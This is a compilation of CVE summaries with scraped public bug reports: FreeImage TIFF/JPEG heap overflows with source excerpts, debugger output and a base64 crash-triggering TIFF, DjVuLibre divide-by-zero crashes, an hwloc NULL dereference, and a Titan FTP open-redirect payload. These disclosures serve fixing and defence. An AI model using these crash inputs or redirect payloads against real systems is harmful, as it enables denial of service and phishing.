Stack overflow vulnerability in OpenSC smart card middleware before 0.23 via crafted responses to APDUs.

CVE-2021-34193

A heap overflow vulnerability in FreeImage 1.18.0 via the ofLoad function in PluginTIFF.cpp.

*   Summary
*   Files
*   Reviews
*   Support
*   Mailing Lists
*   Code
*   Tickets ▾
    *   Feature Requests
    *   Patches
    *   Bugs
    *   Support Requests
*   News
*   Discussion
*   FreeImage

Menu ▾ ▴

Status: open

Owner: nobody

Labels: None

Priority: 5

Updated: 2021-08-26

Created: 2021-08-26

Private: No

> tl;dr:  
> When Load TIFF files, "ImageWidth" and "TileWidth" is read from file. FreeImage alloc memory size is controlled by "ImageWidth", but FreeImage write memory size if controlled by "TileWidth". if result of "TileWidth" diff with "ImageWidth", it will writing data more than the allocated memory.

When the program reads a TIFF file, it will be handed to the Load function of the 'PluginTIFF.cpp' file,  
in Load function, we alloc memory by CreateImageType(), and write memory in Load function with "memcpy". And the "height", "width", "bitspersample", "samplesperpixel", "tileRowSize" and "imageRowSize" is read from file.

static FIBITMAP \* DLL\_CALLCONV
Load(FreeImageIO \*io, fi\_handle handle, int page, int flags, void \*data) {
......
    uint32\_t height \= 0; 
    uint32\_t width \= 0; 
    uint16\_t bitspersample \= 1;
    uint16\_t samplesperpixel \= 1;
......
        TIFFGetField(tif, TIFFTAG\_IMAGEWIDTH, &width);
        TIFFGetField(tif, TIFFTAG\_IMAGELENGTH, &height);
        TIFFGetField(tif, TIFFTAG\_SAMPLESPERPIXEL, &samplesperpixel);
        TIFFGetField(tif, TIFFTAG\_BITSPERSAMPLE, &bitspersample);
        TIFFGetField(tif, TIFFTAG\_ROWSPERSTRIP, &rowsperstrip);             
        TIFFGetField(tif, TIFFTAG\_ICCPROFILE, &iccSize, &iccBuf);
        TIFFGetFieldDefaulted(tif, TIFFTAG\_PLANARCONFIG, &planar\_config);
.......
        // \---------------------------------------------------------------------------------

        if(loadMethod \== LoadAsRBGA) {
......
        } else if(loadMethod \== LoadAsTiled) {
            // \---------------------------------------------------------------------------------
            // Tiled image loading
            // \---------------------------------------------------------------------------------

            uint32\_t tileWidth, tileHeight;
            uint32\_t src\_line \= 0;

            // create a new DIB                                                     v\-------- alloc memory there
            dib \= CreateImageType( header\_only, image\_type, width, height, bitspersample, samplesperpixel);
......
                // calculate src line and dst pitch
                unsigned dst\_pitch \= FreeImage\_GetPitch(dib);
                uint32\_t tileRowSize \= (uint32\_t)TIFFTileRowSize(tif);
                uint32\_t imageRowSize \= (uint32\_t)TIFFScanlineSize(tif);

                // In the tiff file the lines are saved from up to down 
                // In a DIB the lines must be saved from down to up

                BYTE \*bits \= FreeImage\_GetScanLine(dib, height \- 1);

                for (uint32\_t y \= 0; y < height; y += tileHeight) {                 // <---- write memory there     
                    int32\_t nrows \= (y + tileHeight \> height ? height \- y : tileHeight);                    

                    for (uint32\_t x \= 0, rowSize \= 0; x < width; x += tileWidth, rowSize += tileRowSize) {
                        memset(tileBuffer, 0, tileSize);

                        // read one tile
                        if (TIFFReadTile(tif, tileBuffer, x, y, 0, 0) < 0) {
                            free(tileBuffer);
                            throw "Corrupted tiled TIFF file";
                        }
                        // convert to strip
                        if(x + tileWidth \> width) {
                            src\_line \= imageRowSize \- rowSize;
                        } else {
                            src\_line \= tileRowSize;
                        }
                        BYTE \*src\_bits \= tileBuffer;
                        BYTE \*dst\_bits \= bits + rowSize;
                        for(int k \= 0; k < nrows; k++) {
                            memcpy(dst\_bits, src\_bits, MIN(dst\_pitch, src\_line));
                            src\_bits += tileRowSize;
                            dst\_bits \-= dst\_pitch;
                        }
                    }

                    bits \-= nrows \* dst\_pitch;
                }
......
}

CreateImageType() alloc memory by "width","height","bitspersample" and "samplesperpixel".

static FIBITMAP\* 
CreateImageType(BOOL header\_only, FREE\_IMAGE\_TYPE fit, int width, int height, uint16\_t bitspersample, uint16\_t samplesperpixel) {
    FIBITMAP \*dib \= NULL;
......
    int bpp \= bitspersample \* samplesperpixel;      //<---- bpp == bitspersample \* samplesperpixel
......
    dib \= FreeImage\_AllocateHeader(header\_only, width, height, bpp, FI\_RGBA\_RED\_MASK, FI\_RGBA\_GREEN\_MASK, FI\_RGBA\_BLUE\_MASK);
......
    return dib;
}

FIBITMAP \* DLL\_CALLCONV
FreeImage\_AllocateHeader(BOOL header\_only, int width, int height, int bpp, unsigned red\_mask, unsigned green\_mask, unsigned blue\_mask) {
    return FreeImage\_AllocateBitmap(header\_only, NULL, 0, FIT\_BITMAP, width, height, bpp, red\_mask, green\_mask, blue\_mask);
}

static FIBITMAP \* 
FreeImage\_AllocateBitmap(BOOL header\_only, BYTE \*ext\_bits, unsigned ext\_pitch, FREE\_IMAGE\_TYPE type, int width, int height, int bpp, unsigned red\_mask, unsigned green\_mask, unsigned blue\_mask) {
......

        size\_t dib\_size \= FreeImage\_GetInternalImageSize(header\_only || ext\_bits, width, height, bpp, need\_masks);      //<---- calc alloc size by bpp, width and height

        if(dib\_size \== 0) {
            // memory allocation will fail (probably a malloc overflow)
            free(bitmap);
            return NULL;
        }

        bitmap\->data \= (BYTE \*)FreeImage\_Aligned\_Malloc(dib\_size \* sizeof(BYTE), FIBITMAP\_ALIGNMENT);   //<---- real alloc function
.......
}

in FreeImage\_GetInternalImageSize(), it calc alloc size

static size\_t
FreeImage\_GetInternalImageSize(BOOL header\_only, unsigned width, unsigned height, unsigned bpp, BOOL need\_masks) {
size\_t dib\_size \= sizeof(FREEIMAGEHEADER);
......
if(!header\_only) {
const size\_t header\_size \= dib\_size;

// pixels are aligned on a 16 bytes boundary
dib\_size += (size\_t)CalculatePitch(CalculateLine(width, bpp)) \* (size\_t)height;    //<--- alloc size by line lenght \* height, line lenght calc by width and bpp( \= bitspersample \* samplesperpixel)
......
}

return dib\_size;
}

but when we write memory, the read size calc by "tileWidth" and "width", loop (tileHeight//height) \* (tileWidth//width) times.

                for (uint32\_t y \= 0; y < height; y += tileHeight) {                                            //<-- loop tileHeight//height times
                    int32\_t nrows \= (y + tileHeight \> height ? height \- y : tileHeight);                    

                    for (uint32\_t x \= 0, rowSize \= 0; x < width; x += tileWidth, rowSize += tileRowSize) { //<-- loop tileWidth//width times
                        memset(tileBuffer, 0, tileSize);

                        // read one tile
                        if (TIFFReadTile(tif, tileBuffer, x, y, 0, 0) < 0) {
                            free(tileBuffer);
                            throw "Corrupted tiled TIFF file";
                        }
                        // convert to strip
                        if(x + tileWidth \> width) {
                            src\_line \= imageRowSize \- rowSize;
                        } else {
                            src\_line \= tileRowSize;
                        }
                        BYTE \*src\_bits \= tileBuffer;
                        BYTE \*dst\_bits \= bits + rowSize;
                        for(int k \= 0; k < nrows; k++) {
                            memcpy(dst\_bits, src\_bits, MIN(dst\_pitch, src\_line));
                            src\_bits += tileRowSize;
                            dst\_bits \-= dst\_pitch;
                        }
                    }

                    bits \-= nrows \* dst\_pitch;
                }

Finally, it will cause the heap overflow if we make the result of "TileWidth" diff with "ImageWidth". Moreover, it may has the risk of arbitrary code execution.

windbg:

ModLoad: 10000000 105ee000   D:\\temp\\\_zzz\\FreeImage.dll
ModLoad: 752b0000 752c4000   C:\\Windows\\SysWOW64\\VCRUNTIME140.dll
ModLoad: 755e0000 75643000   C:\\Windows\\SysWOW64\\WS2\_32.dll
ModLoad: 77050000 7710f000   C:\\Windows\\SysWOW64\\RPCRT4.dll
(8b8c.710): Break instruction exception \- code 80000003 (first chance)
eax\=00000000 ebx\=00000000 ecx\=dd680000 edx\=00000000 esi\=77442044 edi\=7744260c
eip\=774e1b72 esp\=006ff63c ebp\=006ff668 iopl\=0         nv up ei pl zr na pe nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00000246
ntdll!LdrpDoDebuggerBreak+0x2b:
774e1b72 cc              int     3
0:000\> g
(8b8c.710): Access violation \- code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
\*\*\* WARNING: Unable to verify checksum for D:\\temp\\\_zzz\\FreeImage.dll
eax\=00000049 ebx\=00000008 ecx\=00000001 edx\=00000001 esi\=06667fd0 edi\=06662000
eip\=102a6e8f esp\=006ff86c ebp\=006ffa58 iopl\=0         nv up ei pl nz na po nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00010202
FreeImage!memcpy+0x51f:
102a6e8f 8807            mov     byte ptr \[edi\],al          ds:002b:06662000\=??
0:000\> db edi\-0x20
06661fe0  00 00 00 00 00 00 00 00\-2a 2a 2a 2a 2a 2a 2a 2a  ........\*\*\*\*\*\*\*\*
06661ff0  49 49 49 49 49 49 49 49-49 49 49 49 49 49 49 49  IIIIIIIIIIIIIIII
06662000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06662010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06662020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06662030  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06662040  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
06662050  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
0:000\> kv
 \# ChildEBP RetAddr      Args to Child              
00 006ff870 100378e8     06662000 06667fd0 00000001 FreeImage!memcpy+0x51f (FPO: \[3,0,2\]) (CONV: cdecl) \[d:\\agent\\\_work\\4\\s\\src\\vctools\\crt\\vcruntime\\src\\string\\i386\\memcpy.asm @ 669\] 
01 006ffabc 1000d9de     006ffb10 06619fc8 06667fd0 FreeImage!\_TIFFmemcmp+0x2d28 (FPO: \[5,139,3\])
02 006ffaf0 1000da60     00000012 006ffb10 06619fc8 FreeImage!FreeImage\_LoadFromHandle+0x8e (FPO: \[Uses EBP\] \[4,3,2\])
03 006ffb1c 00b0107b     00000012 06615fee 00000000 FreeImage!FreeImage\_Load+0x50 (FPO: \[3,4,2\])

TestFile:

data:image/tiff;base64,SUkqAAgAAAAGAAABAwABAAAAMAAwMAEBAwABAAAAMAAwMBcBBAAYAAAACAAAABEBAwABAAAAMAABABYBAwABAAAAMAABAEIBAwABAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\=

**2 Attachments**

**Discussion**

Log in to post a comment.

CVE-2021-40263: FreeImage / Bugs / #336 A heap_overflow on PluginTIFF.cpp when Load() TIFF

An issue was discovered IW44Image.cpp in djvulibre 3.5.28 in allows attackers to cause a denial of service via divide by zero.

Divide By Zero in djvulibre-3.5.28/libdjvu/IW44Image.cpp  
Command: djvups POC  
Result:floating point exception  
Bt:  
Thread 4 "djvups" received signal SIGFPE, Arithmetic exception.  
\[Switching to Thread 0x7ffff6926700 (LWP 2411925)\]  
0x000055555563bbdf in DJVU::IW44Image::Map::image (this=0x7fffe8001640, img8=0x0, rowsize=0, pixsep=3, fast=0) at IW44Image.cpp:679  
679 if (sz / (size\_t)bw != (size\_t)bh) // multiplication overflow  
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA  
──────────────────────────────────────────────────────────────────────────────────────────────────\[ REGISTERS \]──────────────────────────────────────────────────────────────────────────────────────────────────  
RAX 0x0  
RBX 0x10  
RCX 0x0  
RDX 0x0  
RDI 0x7fffe8001640 —▸ 0x7fffe8001ba0 —▸ 0x7fffe80019d0 —▸ 0x7fffe8001440 —▸ 0x7fffe8001390 ◂— ...  
RSI 0x20  
R8 0x0  
R9 0x5555556b6c40 (stdout@@GLIBC\_2.2.5) —▸ 0x7ffff7bb56a0 (_IO\_2\_1\_stdout_) ◂— 0xfbad2a84  
R10 0xa  
R11 0x7fffe8000080 —▸ 0x7fffe80028f0 ◂— 0x0  
R12 0x7ffff6925bc0 ◂— 0x0  
R13 0x7fffec001030 —▸ 0x5555556b3898 —▸ 0x55555563ac40 (DJVU::IWPixmap::~IWPixmap()) ◂— endbr64  
R14 0x0  
R15 0x0  
RBP 0x0  
RSP 0x7ffff69252a0 ◂— 0x300000000  
RIP 0x55555563bbdf ◂— div rcx  
───────────────────────────────────────────────────────────────────────────────────────────────────\[ DISASM \]────────────────────────────────────────────────────────────────────────────────────────────────────  
► 0x55555563bbdf div rcx  
↓  
0x55555563bbdf div rcx

────────────────────────────────────────────────────────────────────────────────────────────────\[ SOURCE (CODE) \]────────────────────────────────────────────────────────────────────────────────────────────────  
In file: /home/zxq/CVE\_testing/source/djvulibre-3.5.28/libdjvu/IW44Image.cpp  
674 IW44Image::Map::image(signed char _img8, int rowsize, int pixsep, int fast)  
675 {  
676 // Allocate reconstruction buffer  
677 short_ data16;  
678 size\_t sz = bw \* bh;  
► 679 if (sz / (size\_t)bw != (size\_t)bh) // multiplication overflow  
680 G\_THROW("IW44Image: image size exceeds maximum (corrupted file?)");  
681 GPBuffer<short> gdata16(data16,sz);  
682 // Copy coefficients  
683 int i;  
684 short _p = data16;  
────────────────────────────────────────────────────────────────────────────────────────────────────\[ STACK \]────────────────────────────────────────────────────────────────────────────────────────────────────  
00:0000│ rsp 0x7ffff69252a0 ◂— 0x300000000  
01:0008│ 0x7ffff69252a8 ◂— 0x0  
02:0010│ 0x7ffff69252b0 ◂— 0x0  
03:0018│ 0x7ffff69252b8 —▸ 0x7fffe80019d0 —▸ 0x7fffe8001440 —▸ 0x7fffe8001390 —▸ 0x7fffe8001110 ◂— ...  
04:0020│ 0x7ffff69252c0 —▸ 0x7ffff6925310 ◂— 0x6600000001  
05:0028│ 0x7ffff69252c8 ◂— 0x0  
06:0030│ 0x7ffff69252d0 ◂— 0x4200000000000000  
07:0038│ 0x7ffff69252d8 ◂— 0x4  
──────────────────────────────────────────────────────────────────────────────────────────────────\[ BACKTRACE \]──────────────────────────────────────────────────────────────────────────────────────────────────  
► f 0 0x55555563bbdf  
f 1 0x55555563c28b DJVU::IWPixmap::get\_pixmap()+155  
f 2 0x5555555d33b7  
f 3 0x5555555d42da  
f 4 0x5555555d4978 DJVU::DjVuFile::decode\_func()+200  
f 5 0x5555555d4b65 DJVU::DjVuFile::static\_decode\_func(void_)+69  
f 6 0x555555621bb9 DJVU::GThread::start(void\*)+57  
f 7 0x7ffff7f10609 start\_thread+217  
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────  
pwndbg> p bw  
$1 = 0</short>

CVE-2021-46310: DjVuLibre / Bugs / #345 Divide By Zero in djvulibre-3.5.28/libdjvu/IW44Image.cpp

An issue was discovered in open-mpi hwloc 2.1.0 allows attackers to cause a denial of service or other unspecified impacts via glibc-cpuset in topology-linux.c.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed

ash1852 opened this issue

Aug 31, 2022

· 3 comments

**Comments**

Hi, I found a potential null pointer dereference bug in the project source code of hwloc, and I have shown the execution sequence of the program that may generate the bug on the graph below. The red text illustrates the steps that generate the bug, the green text represents some additional information to help understanding when the steps occur and the file path can be seen in the blue framed section.

Although the code shown is for version 2.1.0, this potential bug is still present in the current version

setsize \= CPU\_ALLOC\_SIZE(last+1);

plinux\_set \= CPU\_ALLOC(last+1);

CPU\_ZERO\_S(setsize, plinux\_set);

  
would you can help to check if this bug is true?thank you!

Hello  
Yes, there are likely many corner cases like where we don't check allocation return values. Similar issue in hwloc\_linux\_set\_tid\_cpubind(), hwloc\_linux\_find\_kernel\_nr\_cpus() and hwloc\_linux\_get\_tid\_cpubind(), hwloc\_linux\_set\_thread\_cpubind(), hwloc\_linux\_get\_thread\_cpubind().  
The (bad) rational is that other things will go wrong before this one will trigger a crash. Feel free to send a fix :)

 bgoglin changed the title A potential bug of NPD potential NULL glibc-cpuset dereferences in topology-linux.c

Aug 31, 2022

CVE-2022-47022 was assigned to this issue.

I didn't have any involvement in the assignment, posting here for visibility.

Thanks for the reminder, I forgot about this, I am pushing the fix to master and all stable branches.

bgoglin added a commit that referenced this issue

Aug 24, 2023

CVE-2022-47022: potential NULL glibc-cpuset dereferences in topology-linux.c · Issue #544 · open-mpi/hwloc

An issue was discovered IW44EncodeCodec.cpp in djvulibre 3.5.28 in allows attackers to cause a denial of service via divide by zero.

Command：c44 POC  
Result：  
gdb information：floating point exception  
Program received signal SIGFPE, Arithmetic exception.  
0x00005555555afe13 in DJVU::IWBitmap::Encode::init (this=0x5555555fb1f0, bm=..., gmask=...) at IW44EncodeCodec.cpp:1431  
1431 bconv\[i\] = max(0,min(255,i\*255/g)) - 128;  
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA  
──────────────────────────────────────────────────────────────────────────────────────────────────\[ REGISTERS \]──────────────────────────────────────────────────────────────────────────────────────────────────  
RAX 0x0  
RBX 0x0  
RCX 0x0  
RDX 0x0  
RDI 0x0  
RSI 0x7fffffffdfc0 ◂— 0x0  
R8 0xff  
R9 0x0  
R10 0x1  
R11 0x246  
R12 0x0  
R13 0x7fffffffe110 ◂— 0x0  
R14 0x0  
R15 0x18  
RBP 0x5555555fb2f0 —▸ 0x5555555e1ab8 —▸ 0x55555557aa50 (DJVU::GBitmap::~GBitmap()) ◂— endbr64  
RSP 0x7fffffffdf70 —▸ 0x7fffffffe170 —▸ 0x5555555faf50 —▸ 0x5555555e1880 —▸ 0x55555556f0e0 (DJVU::MemoryMapByteStream::~MemoryMapByteStream()) ◂— ...  
RIP 0x5555555afe13 ◂— idiv r14d  
───────────────────────────────────────────────────────────────────────────────────────────────────\[ DISASM \]────────────────────────────────────────────────────────────────────────────────────────────────────  
► 0x5555555afe13 idiv r14d  
↓  
0x5555555afe13 idiv r14d

────────────────────────────────────────────────────────────────────────────────────────────────\[ SOURCE (CODE) \]────────────────────────────────────────────────────────────────────────────────────────────────  
In file: /home/zxq/CVE\_testing/source/djvulibre-3.5.28/libdjvu/IW44EncodeCodec.cpp  
1426 signed char _buffer;  
1427 GPBuffer<signed char=""> gbuffer(buffer,w</signed>_h);  
1428 // Prepare gray level conversion table  
1429 signed char bconv\[256\];  
1430 for (i=0; i<256; i++)  
► 1431 bconv\[i\] = max(0,min(255,i_255/g)) - 128;  
1432 // Perform decomposition  
1433 // Prepare mask information  
1434 const signed char_ msk8 = 0;  
1435 int mskrowsize = 0;  
1436 GBitmap \*mask=gmask;  
────────────────────────────────────────────────────────────────────────────────────────────────────\[ STACK \]────────────────────────────────────────────────────────────────────────────────────────────────────  
00:0000│ rsp 0x7fffffffdf70 —▸ 0x7fffffffe170 —▸ 0x5555555faf50 —▸ 0x5555555e1880 —▸ 0x55555556f0e0 (DJVU::MemoryMapByteStream::~MemoryMapByteStream()) ◂— ...  
01:0008│ 0x7fffffffdf78 ◂— 0x2f8559fd8e9bfc00  
02:0010│ 0x7fffffffdf80 —▸ 0x5555555fb1f0 —▸ 0x5555555e25b8 —▸ 0x5555555afb40 (DJVU::IWBitmap::Encode::~Encode()) ◂— endbr64  
03:0018│ 0x7fffffffdf88 ◂— 0x0  
04:0020│ 0x7fffffffdf90 —▸ 0x7fffffffdfb0 —▸ 0x7fffffffdfa8 ◂— 0x0  
05:0028│ 0x7fffffffdf98 —▸ 0x7fffffffe050 —▸ 0x5555555e1b00 (DJVU::GCont::TrivTraits<1>::traits()::theTraits) ◂— 0x1  
06:0030│ 0x7fffffffdfa0 —▸ 0x55555557f820 ◂— endbr64  
07:0038│ 0x7fffffffdfa8 ◂— 0x0  
──────────────────────────────────────────────────────────────────────────────────────────────────\[ BACKTRACE \]──────────────────────────────────────────────────────────────────────────────────────────────────  
► f 0 0x5555555afe13  
f 1 0x5555555b00a4  
f 2 0x55555556ba02 main+1986  
f 3 0x7ffff79f00b3 \_\_libc\_start\_main+243  
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────  
pwndbg> pg  
Undefined command: "pg". Try "help".  
pwndbg> p g  
$1 = 0

CVE-2021-46312: DjVuLibre / Bugs / #344 Divide By Zero in djvulibre-3.5.28/libdjvu/IW44EncodeCodec.cpp

An issue discovered in Samsung SyncThru Web Service SPL 5.93 06-09-2014 allows attackers to gain escalated privileges via MITM attacks.

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    

*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
*   Pricing

**Search code, repositories, users, issues, pull requests...**

**Provide feedback**

**Saved searches****Use saved searches to filter your results more quickly**

Sign up

CVE-2021-35309: cve-subscriptions/samsung-stws at main · mustafa-turgut/cve-subscriptions

There is an open redirect vulnerability in Titan FTP server 19.0 and below. Users are redirected to any target URL.

**Introduction**

A new vulnerability has been discovered affecting Titan FTP web server catalogued as CVE-2022-44215. Titan FTP is a commertial software created by South River Technologies that implements FTP protocol for file sharing. In its HTTP(S) version 19.X and prior, it has been proved to be vulnerable to an Open Redirection vulnerability.

**Description**

An Open redirection vulnerability consist into the server not correctly sanitizing the user’s input. Therefore, a redirection is done using the user-supplied input without sanitization (white/blacklisting). In this case, Titan FTP server performs a redirection when a backslash \ is encountered in the URL. No matter if the backslash is in plaintext or URL encoded (%5C). https://<server>\<malicious_url> will produce the server supplying a redirection to \<malicious_url>.

**Testing**

To exploit this, the browser needs to understand the protocol of the location HTTP response header. This is to contain HTTP or HTTPS. To circumvent this, it is possible to supply instead of one backslash, two of them “\\”. This will be interpreted as a protocol separator and most browsers will use HTTP protocol by default. In the end, the working payload to achieve a redirection will be something similar to this: http[s]://<server>\\<malicious_url>

To perform this test, also CURL can be used. However, bear in mind that CURL will detect it as bad crafted since “\\” is prohibited by the standard RFC 2396. To bypass this using curl we can use the following command:

Curl -i http[s]://<server> --request-target \\\\malicious.com

**Proof of concept**

Despite the issue, the exploitation is limited due to browsers normally rewrite starting backslashes “\\” into “/”, producing that attacks using directly the plaintext will not work in most of the cases. Some workarounds could be done using HTML payloads that bypass browsers URL rewrite rules.

**Conclusion**

According to Shodan, in December 2022 this server is publicly exposed at 1.278 servers worldwide:

This vulnerability could be used by attackers to perform social engineering attacks redirecting victims to fake FTP login pages or other phishing scenarios.

CVE-2022-44215: GitHub - JBalanza/CVE-2022-44215: Public disclosure of TitanFTP 19.X Open Redirection vulnerability

A heap overflow bug exists FreeImage before 1.18.0 via ofLoad function in PluginJPEG.cpp.

*   Summary
*   Files
*   Reviews
*   Support
*   Mailing Lists
*   Code
*   Tickets ▾
    *   Feature Requests
    *   Patches
    *   Bugs
    *   Support Requests
*   News
*   Discussion
*   FreeImage

Menu ▾ ▴

Status: open

Owner: nobody

Labels: None

Priority: 5

Updated: 2021-08-26

Created: 2021-08-26

Private: No

> tl;dr:  
> When Load SOF(Start Of Frame) JPEG files, "components" of SOF is read from file. FreeImage alloc memory size is controlled by "components" , but sometime FreeImage replace default size to alloc. if "components" is greater than default in alloc function, it will writing data more than the allocated memory.

When the program reads a JPEG file, it will be handed to the Load function of the 'PluginJPEG.cpp' file,  
in Load function, we alloc memory by FreeImage\_AllocateHeader(), and write memory in jpeg\_read\_scanlines(). And the "components" is read from file.

static FIBITMAP \* DLL\_CALLCONV
Load(FreeImageIO \*io, fi\_handle handle, int page, int flags, void \*data) {
    if (handle) {
......
        struct jpeg\_decompress\_struct cinfo;
......
            // step 3: read handle parameters with jpeg\_read\_header()

            jpeg\_read\_header(&cinfo, TRUE);                //<---- read components from file
......
            if((cinfo.output\_components \== 4) && (cinfo.out\_color\_space \== JCS\_CMYK)) {
......
            } else {
                // RGB or greyscale image              v------------ alloc memory function
                dib \= FreeImage\_AllocateHeader(header\_only, cinfo.output\_width, cinfo.output\_height, 8 \* cinfo.output\_components, FI\_RGBA\_RED\_MASK, FI\_RGBA\_GREEN\_MASK, FI\_RGBA\_BLUE\_MASK);
......
            }
......
            if((cinfo.out\_color\_space \== JCS\_CMYK) && ((flags & JPEG\_CMYK) != JPEG\_CMYK)) {
......
            } else if((cinfo.out\_color\_space \== JCS\_CMYK) && ((flags & JPEG\_CMYK) \== JPEG\_CMYK)) {
......
            } else {
                // normal case (RGB or greyscale image)

                while (cinfo.output\_scanline < cinfo.output\_height) {
                    JSAMPROW dst \= FreeImage\_GetScanLine(dib, cinfo.output\_height \- cinfo.output\_scanline \- 1);

                    jpeg\_read\_scanlines(&cinfo, &dst, 1);       // <---------- write memory
                }

                // step 7b: swap red and blue components (see LibJPEG/jmorecfg.h: #define RGB\_RED, ...)
                // The default behavior of the JPEG library is kept "as is" because LibTIFF uses 
                // LibJPEG "as is".
......
    }

    return NULL;
}

FreeImage\_AllocateHeader() alloc memory by "output\_components", but FreeImage\_AllocateHeader function maybe replace default size with it.

FIBITMAP \* DLL\_CALLCONV
FreeImage\_AllocateHeader(BOOL header\_only, int width, int height, int bpp, unsigned red\_mask, unsigned green\_mask, unsigned blue\_mask) {
    return FreeImage\_AllocateBitmap(header\_only, NULL, 0, FIT\_BITMAP, width, height, bpp, red\_mask, green\_mask, blue\_mask);
}

static FIBITMAP \* 
FreeImage\_AllocateBitmap(BOOL header\_only, BYTE \*ext\_bits, unsigned ext\_pitch, FREE\_IMAGE\_TYPE type, int width, int height, int bpp, unsigned red\_mask, unsigned green\_mask, unsigned blue\_mask) {
.......
    // check pixel bit depth
    switch(type) {
        case FIT\_BITMAP:
            switch(bpp) {
                case 1:
                case 4:
                case 8:
                    break;
                case 16:
                    need\_masks \= TRUE;
                    break;
                case 24:
                case 32:
                    break;
                default:
                    bpp \= 8;                                                                    //<---- change bpp there
                    break;
            }
            break;
.......
        size\_t dib\_size \= FreeImage\_GetInternalImageSize(header\_only || ext\_bits, width, height, bpp, need\_masks);          //<\---- calc alloc size by bpp(num\_components)

        if(dib\_size \== 0) {
            // memory allocation will fail (probably a malloc overflow)
            free(bitmap);
            return NULL;
        }

        bitmap-\>data \= (BYTE \*)FreeImage\_Aligned\_Malloc(dib\_size \* sizeof(BYTE), FIBITMAP\_ALIGNMENT);                       //<\---- real alloc function
.......
}

in FreeImage\_GetInternalImageSize(), it calc alloc size

static size\_t 
FreeImage\_GetInternalImageSize(BOOL header\_only, unsigned width, unsigned height, unsigned bpp, BOOL need\_masks) {
    size\_t dib\_size \= sizeof(FREEIMAGEHEADER);
......
    if(!header\_only) {
        const size\_t header\_size \= dib\_size;

        // pixels are aligned on a 16 bytes boundary
        dib\_size += (size\_t)CalculatePitch(CalculateLine(width, bpp)) \* (size\_t)height;    //<---alloc size by line lenght \* height, line lenght calc by width and bpp(num\_components)
......
    }

    return dib\_size;
}

but when we use jpeg\_read\_scanlines, the read size calc by "num\_components", usually equal "output\_components".

METHODDEF(void)
null\_convert (j\_decompress\_ptr cinfo,
          JSAMPIMAGE input\_buf, JDIMENSION input\_row,
          JSAMPARRAY output\_buf, int num\_rows)
{
  register JSAMPROW outptr;
  register JSAMPROW inptr;
  register JDIMENSION count;
  register int num\_comps \= cinfo\->num\_components;
  JDIMENSION num\_cols \= cinfo\->output\_width;
  int ci;

  while (\--num\_rows \>= 0) {
    /\* It seems fastest to make a separate pass for each component. \*/
    for (ci \= 0; ci < num\_comps; ci++) {
      inptr \= input\_buf\[ci\]\[input\_row\];
      outptr \= output\_buf\[0\] + ci;
      for (count \= num\_cols; count \> 0; count\--) {
    \*outptr \= \*inptr++; /\* don't need GETJSAMPLE() here \*/        //<---- copy size calc by width(output\_width) and bpp(num\_components)
    outptr += num\_comps;
      }
    }
    input\_row++;
    output\_buf++;
  }
}

callstack

FreeImage.dll!null\_convert(jpeg\_decompress\_struct \* cinfo, unsigned char \* \* \* input\_buf, unsigned int input\_row, unsigned char \* \* output\_buf, int num\_rows)
FreeImage.dll!sep\_upsample(jpeg\_decompress\_struct \* cinfo, unsigned char \* \* \* input\_buf, unsigned int \* in\_row\_group\_ctr, unsigned int in\_row\_groups\_avail, unsigned char \* \* output\_buf, unsigned int \* out\_row\_ctr, unsigned int out\_rows\_avail)
FreeImage.dll!process\_data\_simple\_main(jpeg\_decompress\_struct \* cinfo, unsigned char \* \* output\_buf, unsigned int \* out\_row\_ctr, unsigned int out\_rows\_avail)
FreeImage.dll!jpeg\_read\_scanlines(jpeg\_decompress\_struct \* cinfo, unsigned char \* \* scanlines, unsigned int max\_lines)
FreeImage.dll!Load(FreeImageIO \* io, void \* handle, int page, int flags, void \* data)
FreeImage.dll!FreeImage\_LoadFromHandle(FREE\_IMAGE\_FORMAT fif, FreeImageIO \* io, void \* handle, int flags)
FreeImage.dll!FreeImage\_Load(FREE\_IMAGE\_FORMAT fif, const char \* filename, int flags)

Finally, it will cause the heap overflow if we make the "components" not in \[1, 2, 3\]. Moreover, it may has the risk of arbitrary code execution.

windbg:

ModLoad: 10000000 105ee000   D:\\temp\\\_zzz\\FreeImage.dll
ModLoad: 752b0000 752c4000   C:\\Windows\\SysWOW64\\VCRUNTIME140.dll
ModLoad: 755e0000 75643000   C:\\Windows\\SysWOW64\\WS2\_32.dll
ModLoad: 77050000 7710f000   C:\\Windows\\SysWOW64\\RPCRT4.dll
(5cb0.349c): Break instruction exception \- code 80000003 (first chance)
eax\=00000000 ebx\=00000000 ecx\=608e0000 edx\=00000000 esi\=77442044 edi\=7744260c
eip\=774e1b72 esp\=0133f5c8 ebp\=0133f5f4 iopl\=0         nv up ei pl zr na pe nc
cs\=0023  ss\=002b  ds\=002b  es\=002b  fs\=0053  gs\=002b             efl\=00000246
